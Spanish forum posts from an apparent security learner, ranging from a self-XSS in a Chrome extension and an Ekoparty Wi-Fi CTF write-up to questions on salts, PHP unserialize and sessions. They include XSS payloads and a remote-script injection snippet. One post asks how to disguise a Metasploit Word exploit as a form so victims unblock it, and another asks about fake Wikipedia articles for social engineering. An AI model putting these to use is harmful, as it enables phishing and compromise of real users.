Muy buenas! Quería mostrarles un pequeño fallo que encontré con ayuda del administrador de brutelogic.com.br . El tipo es un genio del XSS, encontró XSS en casi todas las páginas de empresas de antivirus, en facebook, en amazon y otras empresas de las más grandes, y además por lo poco que llegué a hablar con él parece ser una excelente persona porque yo siendo un novato del tema, me respondió por twitter enseguida, y me dio una mano todo el tiempo, ademas de hablarme con mucha humildad. Si les interesa el hacking web les recomendaría leer sus artículos, yo estoy terminando de leerlos y explica técnicas y conceptos muy buenos para hacer XSS.

Bueno, empecemos con la historia. Resulta que estaba probando si se podía ejecutar javascript a través del bot de telegram, enviando el mensaje sendMessage con el parámetro --parse-html que parsea el html de lo que uno le manda en --text. Según decía la documentación solo se podían mandar tags del tipo <b>, <pre>, entre otros, y al mismo tiempo convertía a html entities la mayoría de caracteres especiales. Probe algo como <b onclick=alert>clickear aqui</b> y se llegó a mandar, pero si abría un paréntesis, para lograr el alert(1), o ejecutar cualquier otra función, no lo mandaba. Entonces googlie: "javascript without parentheses" y me encontré con ésto:



No lo podía creer!!! A simple vista me pareció que google no estaba filtrando bien el contenido que indexaba, y que el payload XSS de alguna página de hacking se llegaba a ejecutar. Pero era demasiado raro para ser cierto... Probé buscar varias veces "javascript without parentheses" a través Chrome v62 con mi pc de escritorio y siempre me saltaba el alert(1). Haciéndolo desde firefox no pasaba, y desde Chrome v62 de mi portatil tampoco pasaba, ni del Chrome del celular... Luego probé borrando las cookies del Chrome de mi pc de escritorio (en el único navegador que pasaba), y seguía pasandome aún sin las cookies... No entendía el por qué. Entonces me comuniqué a través de Twitter con el administrador de brutelogic.com.br, y me pidió que buscara alert(1) en el DOM... Yo antes lo había buscado en el source y parecía estar bien filtrado, pero no tuve en cuenta las modificaciones que javascript puede hacer en el DOM... Resulta que el alert provenía de su mismisima cheat sheet de XSS!!! Pero solo en el navegador de mi pc de escritorio podía ver todo el tag del script coloreado (script funcional) dentro del DOM, en los demás navegadores (incluyendo el navegador de éste tipo) solo se veía negro, como texto, como si no se estuviera ejecutando... Ahi les muestro una comparativa. A la izquierda está el DOM del navegador con el que salta el alert y a la derecha el navegador de brute y el Chrome de mi notebook:



También pueden ver como se deforma el contenido de la página de Brute, ya que en ese espacio en blanco estaría habiendo una caja que creó el tag <svg>. Hasta ahora sabíamos de donde provenía pero no que lo generaba. Entonces me dio la idea de revisar las extensiones de mi navegador...

Y ahí estaba el problema. Probé deshabilitandolas a todas y ahí dejó de saltarme el alert. Luego probé activando una por una para encontrar cuál era la culpable. Resultó ser gInfinity 2.4.1, una extensión con muy pocos usuarios que sirve para mostrar las páginas sucesivas de los resultados de Chrome una debajo de otra sin tener que clickear el boton 2,3,4,5, etc para cambiar de página. Aca su enlace para el que quiera chusmearla:

https://chrome.google.com/webstore/detail/ginfinity/dgomfdmdnjbnfhodggijhpbmkgfabcmn

Luego me aconcejó que revisara el código fuente para darme cuenta del fallo, y busqué la ubicación donde están las extensiones, y resulta que constaba de 3 archivos javascript:

options.js,  gInfinity.js, background.js

Primero revisé gInifinity.js, comentando de a partes hasta que dejara de saltarme el alert, luego terminé ubicando la parte del código que generaba problemas. Estaba agregando un <span> al DOM, cuyo contenido era parte del DOM original pero ésta vez sin estar encodeado! Toda la extensión en si modifica el DOM en exceso, y luego terminan pasando cosas como éstas... Aca les muestro la sección de código que genera problemas. Comentando la línea remarcada en rojo, el error no ocurre:




El ataque que se podría hacer aprovechando ésto es lograr que el javascript que queramos que se ejecute en los usuarios de la extensión, se logre indexar dentro del contenido de google.com, para que se ejecute al buscarlo y lograr obtener cookies de google.com, redireccionar, enganchar con beef, o cualquier otra técnica de XSS que se nos ocurra... Lo mas jugoso obviamente son las cookies, pero habría que ver bien cuales están protegidas por HttpOnly, y demás para determinar que es lo más dañino que se pueda llegar a hacer...

De todas formas la extensión es usada por 7,608 usuarios, lo que significa que no es una vulnerabilidad crítica. Es una vulnerabilidad bastante pequeña, pero es curiosa y poco usual, por lo menos para lo que yo estoy acostumbrado a ver. Y esta bueno ver como uno empieza haciendo algo y termina encontrando otra cosa que nunca hubiera esperado y aprendiendo cosas en el camino. Antes de ésto no tenía ni idea de lo que era una extensión de Chrome ni como funcionaba por ejemplo :p

Asi que bueno, espero que les haya gustado la historia, como les dije no es una falla importante pero está bueno para ver como las vulnerabilidades pueden estar en todos lados y hasta toparnos con ellas accidentalmente...

Saludos!

Buenas, les comento mi situación. Estaba usando Kali en VM, al principio solo le di 1 cpu y 2gb de ram. Quería experimentar con el OpenVAS ya que nunca había probado tal scanner, y luego de configurarlo bien, lo empecé a usar, y a los dos dias, el Linux se me colgó y no me quedó alternativa que apagarla de forma forzada sin cerrar los servicios abiertos ni nada. Luego cuando la prendo empiezo a tener miles de problemas distintos con el OpenVAS que no pude solucionar. Luego de googlear y abrir 500 pagians y de revisar todos los archivos de logs, de ver cada archivo correspondiente a OpenVAS en mi FS, no pude encontrar una solución, y tuve una de las mayores frustraciones de mi vida. Después en un momento cuando se suspende Linux, y me pide la contraseña del usuario pongo mi contraseña y no me debaja entrar, me devolvía el mensaje de error de que las credenciales eran incorrectas. Luego sin haberlo solucionado, vuelvo a apagar la VM de forma forzada y cuando la quería encender nuevamente no me iniciaban los servicios:

failed to start network time syncronization
failed to start raise network interfaces
failed to start login service

entre otros, y se quedaba colgada en el boot. Asi que me cansé, copie todo lo importante que tenía en el .vdi a travéz del 7zip y ahora que reinstale el Kali, todo vuelve a funcionar bien...

Quería saber si a ustedes les pasó algo como ésto alguna vez, o si piensan que es posible que ésto pase. Porque no estoy 100% seguro de que el apagado forzado sea el motivo de éstas fallas.

Saludos y gracias!

Buenas, tengo dudas respecto a la utilidad de usar salt junto con la contraseña antes de enviar al cipher. Según leí los caracteres aleatorios que se concatenan al password sirven para aumentar la longitud final y hacer que sea mas dificil realziar ataques de fuerza bruta o con tablas rainbow. ya que si la cotnraseña es de 8 caracteres por ejemplo y el salt de 8, entonces el string final que el atacante tendría que atacar sería de 16 caracteres. Ésto solo tendría sentido según mi, si el hash no se almacenara en la misma base de datos, ya que por ejemplo en joomla el salt se almacena junto con el hash del password con ":" de separador. No entiendo la utilidad del salt en éstos casos ya que el atacante con un script puede concatenar las contraseñas del diccionario con el salt antes de pasarlo por el cipher, y sería lo mismo... Espero que me corrijan ya que seguramente hay algo que no estoy teniendo en cuenta o tal vez esté equivocado.

Saludos!

Buenas! Estuve leyendo sobre los problemas que traia unzerializar datos que provienen del usuario en php, ya que  se podría mandar un objeto serializado con la intención de que se ejecuten automáticamente los métodos mágicos definidos para el objeto creado, y si dentro de los métodos mágicos existe otro tipo de vulnerabilidad como sql injection, code execution, rfi, etc, podrían ser triggereados gracias a éste objeto serializado que se le manda.

Estuve practicando con algunos ejercicios pero siempre con el código fuente a la vista. Ustedes creen que es posible aprovechar éste tipo de vulenrabilidad a ciegas? Es decir, sin tener acceso al código fuente? Según mi conclusión éste tipo de cosas solo se puede explotar bien en CMSs (como Joomla!), ya que el código es accesible, o si ocurren cosas especiales como que haya copias de respaldo en texto plano de las paginas del servidor en cuestion, pero sin el fuente lo imagino imposible, ustedes que piensan?

Saludos

Buenas! El capítulo 5 de la primera temporada de Mr. Robot muestra la idea de lo útil que puede ser tener un artículo de wikipedia para un ataque de ingeniería social. No se muy bien como se maneja la puntuación o reputación de cada wikipedista en la vida real, según en la serie el que hizo el artículo ya era wikipedista de antes con mucha reputación y por eso no le borraron el artículo. Yo hace un tiempo le había hecho un artículo a un amigo para su cumpleaños y duró 30 minutos hasta que lo quitaran... Además no entiendo exactamente que requisitos hay que cumplir para poder estar en wikipedia... Si agrego información falsa y pongo referencias falsas que validen lo que estoy escribiendo puede llegar a quedarse el artículo? O hay algo asi como una whitelist de referencias confiables? Muchas gracias.

Buenas! Los que sepan de PHP saben que session_regenerate_id() sirve para cambiar el ID de la sesión. Quería saber que opinaban del hecho de regenerar la sesión por cada cosa que hago, es decir por cada petición que mando. Si voy a login que cambie el id, si voy al panel de buscar usuarios, que se cambie el id, si voy a alguna funcion para listar algo, que se cambie, si voy a mi perfil, que se cambie... Qué opinan de hacer esto? Para mi es muy útil para mitigar robos de la cookie de sesión mediante sniffing cuando no usamos https... Pero tal vez hacer las cosas de éste modo tenga puntos en contra que no esté considerando.

Saludos!

Buenas, quería saber si de alguna forma se puede concretar un XSS en éste caso... En el campo de búsqueda introduzco:

dfgsdfg" onload=alert(1);

y en el fuente sale:

<input id="searchInput" type="text" value="dfgsdfg&quot; onload=alert(1);" placeholder="Buscar..." maxlength="100" name="search"

como vemos convierte a html entities los " y me impide escaparme del atributo...

Ésto me parece imposible de bypassear y con el tag value no podría ejecutar script mandando javascript:alert(1)... Se les acurre alguna forma? Gracias y saludos!

Muy buenas! Hace 3 días subieron un nuevo método para atacar a través de Word que según dice evita las advertencias de seguridad:

https://null-byte.wonderhowto.com/how-to/execute-code-microsoft-word-document-without-security-warnings-0180495/

pero no me parece tan bueno ya que el usuario tiene que aceptar dos ventanitas, y la segunda te pregunta si queres abrir un ejecutable, y me parece que hay que ser muy tonto para darle que si a ese cartel... Yo todavía me sigo quedando con el ataque anterior:

https://www.rapid7.com/db/modules/exploit/windows/fileformat/office_word_hta

con éste si lo abre y está desbloquedo, te metes casi instantaneamente, y si cerras el word no perdes la conexión, ya que la conexión está en otro proceso,  el punto en contra es que si lo descargas siempre aparece como bloqueado y te sale una notificacion que te dice que si no lo vas a editar que no lo desbloquees, pero que si vas a editar si. Entonces pensé en hacer que el archivo de word sea un formulario para descargar, completar y enviar, cosa que obligue a la victima a deslbloquearlo si quiere editar. El asunto es que el word que genera el metasploit esta todo en blanco con un cuadradito en el medio, y me gustaría poder agregar texto (un formulario) antes de que aparezca ese cuadradito. Pero no pude, traté de agregar texto y al agregarlo el exploit deja de funcionar. Tienen idea de cómo poder editar la apariencia del word que genera metasploit?

Saludos y gracias!

Buenas! la forma que conozco para agregar un script de otra página es:

<script src="www.web.com/script.js"></script>

pero si me encuentro realizando un XSS y necesito usar si o si "javascript:" y no al tag <script>, no sabría como incluir un js de otra pagina...

probé:

javascript:www.web.com/script.js

y no funciono,
tampoco funcionó:

javascript:src="www.web.com/script.js"

tampoco funcionó:

javascript:var script = document.createElement('script'); script.src = 'www.web.com/script.js'; document.head.appendChild(script);

Quería saber si tenían algún otra idea. Gracias desde ya!

Muy buenas a todos! Los últimos 3 días se celebró la Eko Party en Buenos Aires (Argentina). Fue mi primera Eko, y la gané en un sorteo que hizo un grupo de estudiantes de mi facultad. El jueves (dia del medio), fue mi cumple, asi que lo pase muy bien! El único problema es que dormí 2 horas casi todas las noches, xq tengo el sueño cambiado y problemas de insomnio hace mucho, y cuando me tengo que levantar temprano estoy todo el día re cansado y no rindo al 100.

Les quería comentar sobre un desafío que se hizo en el que tenías que asociarte a una red wifi para luego pwnear el router (avancé muy poco). Si alguno que me lee pudo avanzar más que yo, me gustaría que comentara que probó, que averiguó y que consiguió.

Resumen sobre el desafío: (lo poco que avancé)

Había que meterse a una red con SSID: EkospaceLab, con WPA PSK sin WPS.
Había un beacon flood que lanzaba muchos beacon con distintos SSID en el aire (más de 100). Algunos de los SSID estaban en base64, uno de los SSID en base64 decodeados era la clave de EkospaceLab. Una vez adentro te encontrás en una red con IPv4 desabilitado, teniendo la posibilidad de comunicarte solo a través de IPv6. Luego de escanear el router se observan 3 puertos evidentemente protegidos con tcpwrapper. Escaneo:


Llegué hasta ahí porque no me quería perder muchas charlas. Pero quedaba todo lo más pesado, bypassear tcpwrapped y ver como comunicarse con los puertos hasta encontrar el punto debil o lograr controlar el AP.


Mi experiencia con el desafío:

El primer día el organizador del desafío me había dicho que había una red oculta a la que me tenía que meter y que había otras redes que me podían dar la información para asociarme. Como el primer día no llevé la notebook, a la noche cuando volví a mi casa me puse a repasar sobre las redes con SSID oculto, y recordé que al mandar paquetes deauth para desasociar a un cliente lo obligás a mandar luego un PROBE request que incluye el SSID en texto plano. Pero como necesitaba un cliente activo yo pense que tal vez no iba a haber nadie conectado para deautenticar, asi que investigue un poco y vi que se puede hacer un ataque de diccioanrio/fuerza bruta mandando probes con SSID's distintos hasta dar con el correcto, cuando se manda un PROBE request con el SSID correcto se recibe un PROBE response. De lo contrario el AP ignora el paquete, de ésta forma podemos descubrir el SSID sin el cliente conectado. Fui al segundo día con la notebook con ésto en la cabeza, y al segundo dia la red había dejado de ser oculta y su SSID era EkospaceLab, con WPA/PSK. Supongo que para evitar conseguir el SSID tan facilmente si otro participante del desafío lograba meterse y desautenticandolo...

Lo primero que probé fue hacer un airodump de la red para ver las redes que había, luego un amigo se fijo las redes en su celular y había detectado otras que yo no. Entonces terminé llegando a la conclusión de que las redes que mi amigo podía ver eran parte de un beacon flood (posiblemente con mdk3), y también que el airodump no muestra las redes solo fijandose en los beacon frames, sino que tambien envía PROBE request a la red para verificar que exista antes de mostrarla. Le pedí a mi amigo que me fuera dictando los SSIDs que veia para agregarlos a un diccionario e intentar crackear el hash obtenido del wpa handshake. no hubo caso. Mi amigo me preguntó si había una forma para obtener todos los SSIDs con un comando desde linux. Le dije que investigara, y encontró una solución muy rápido usando iw acompañado de sed y grep hasta quedar solo la información que buscabamos (los SSIDs). Ésta vez, con todos los SSIDs y no solo los pocos que me había dictado antes, probamos crackearlos. Y nada... Después le cuento lo que intentamos a otro chico que estaba haciendo el desafío y me dice que la clave iba a estar codificada, que revisara bien los SSIDs. Con eso volví a mi notebook diciendome base64 para mis adentros. Y si, había usado al iw y guardado en un archivo todos los SSIDs para mandarlo directamente al aircrack sin haber observado todas las SSID con mis ojos. Algunos de los SSIDs estaban en base64, asi que las decodeamos y probamos las passwords decodeadas que eran ekoparty, ekolab007 creadpag548, y ekolab. Ninguna funciono, el aircrack no hayo la contraseña. El segundo día solo nos habíamos quedado un rato, asi que volvimos al tercer día. Dos amigos a la noche hicieron un script que detectara constantemente las redes con un '=' y decodearlas con la intención de poder captar algun SSID que apareciera una vez cada mucho tiempo. Luego chusmenado bien había otros SSID con el formato parecido pero sin el '=', asi que procedimos a decodearlas, y obtuvimos otras 3 palabras: martin, agente007 y ekoparty007. Con ésto aprendí que no es necesario que tenga '=' para estar en base64. Luego utilizamos el aircrack con éstas 3 palabras, y dimos con que agente007 era la clave. Luego trate de meterme con esa contraseña con el celular y al no conseguirlo, le hablé al organizador del desafío y me dijo que el AP no estaba conectado a internet, y que tenía que conectarme de una forma especial a través de linux. Probé conectandome simplemente desde la interfaz gráfica que te da los wifis y no pude conectarme. Antes de conectarme se me colgó el sistema un cachito, supongo que producto de haber tantos beacon frames en el aire. Luego intenté conectarme con la consola a través de iwconfig y no lo conseguí, me saltó un error (creo que por los drivers de la tarjeta wifi integrada). Pasó el tiempo y me puse a analizar el tráfico wifi tratando de encontrar algo, alguna ayuda... Me quede pensando "conectarme de una forma especial", y no se a que se refería el organizador... Despúes recordé que existian los servidores radius (nunca investigue como funcionan pero solo había oirdo hablar de ellos), pero al ver que era PSK, pense que sería imposible que hubiera un radius. Y asi paso el tiempo, y casi resignado, intento de vuelta con el celular, y me pongo a ver los paquetes de autenticacion, y pareciera haberse logrado autenticar perfectamente. Luego volví a insistir y tratar de conectarme a través de la interfaz gráfica de mi linux y lo logre... La verdad no entiendo por que antes no pude y después si. Perdí más de una hora, y no hubo ninguna forma especial ni nada de conectarme, y es un misterio que no pude resolver, porque habiendolo probado antes no pude y después si.

Luego de conectarme, hago un ifconfig wlan0 y noto que no había ninguna linea que dijera ipv4, pero si otras que decían ipv6. Solo podía conectarme a través de IPv6... Entonces me puse a repasar un poco sobre ésto, e intente escanear todo el link local con nmap, pero no encontré ningún host en toda la red, ni al router. Probé con el comando route y no me devolvía nada, terminé escaneando con wireshark, y vi unas consultas DNS, y yo de lo dormido que estaba no me di cuenta que la IP del router era el destino de la consulta DNS (pense que del router solo era la mac de la capa inferior y el servidor DNS estaría en otro lado, pero estaba muy equivocado, ya que el prefijo era de link local, esto tambien por jamas haber auditando en IPv6), y lo peor fue que si quería la IPv6 del router no haber hecho un man route y haber notado que el comando se usaba con el parámetro -6 en éste caso. Bueno, en fin luego escanié la IPv6 del router con nmap -sV y saltaron 3 puertos abiertos con tcpwrapped. Como en 10 minutos empezaba una charla muuy interesante sobre hackear con subtitulos, me fui y la deje hasta ahi. No pude avanzar prácticamente nada, entre lo dormido, incomodo y por los problemas técnicos que tuvimos, pero bueno, aprendí varias cosas por ser mi primer desafío. Ahrora en casa estaba leyendo sobre tcp wrapper, herramienta que jamás había utilizado. Hace poco aprendí sobre snort, iptables, y selinux, pero tcp wrapper es otra herramienta de hardening importante que no estaba teniendo en cuenta. Lástima que no tuve más tiempo para insistir, ya que la parte interesante recién empezaba, había que probar comunicarse con nc con cada puerto, ver como evitar las reglas de tcp wrapper, pero bueno, supongo que lo que quedaba del desafío era bastante complicado.